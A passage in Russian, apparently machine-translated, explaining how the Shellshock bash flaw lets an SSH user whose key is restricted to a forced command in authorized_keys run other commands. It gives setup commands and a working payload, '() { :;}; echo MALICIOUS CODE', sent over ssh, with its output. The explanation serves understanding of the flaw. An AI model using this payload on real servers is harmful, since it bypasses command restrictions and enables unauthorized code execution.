Один из примеров, где это можно использовать, - на серверах с authorized_keysпринудительной командой. При добавлении записи в ~/.ssh/authorized_keys, вы можете предварить линию , command="foo"чтобы заставить fooбыть запущен в любое время , что SSH используется открытый ключ. С помощью этого эксплойта, если установлена оболочка целевого пользователя bash, они могут использовать этот эксплойт для запуска вещей, отличных от команды, которой они вынуждены.
Это, вероятно, имеет больше смысла в примере, поэтому вот пример:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Здесь мы настраиваем пользователя testuser, который принудительно запускает любые соединения ssh, используя ваш ключ ssh echo starting sleep; sleep 1.
Мы можем проверить это с:
$ ssh testuser@localhost echo something else
starting sleep
Обратите внимание, что наша команда не запускается echo something else, но starting sleepпоказывает, что принудительная команда действительно выполнялась.
Теперь давайте покажем, как можно использовать этот эксплойт:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Это работает, потому что sshdустанавливает SSH_ORIGINAL_COMMANDпеременную среды для переданной команды. Так что даже если sshdпобежал sleep, а не команда , которую я рассказал это, из - за подвиг, мой код до сих пор получает бежать.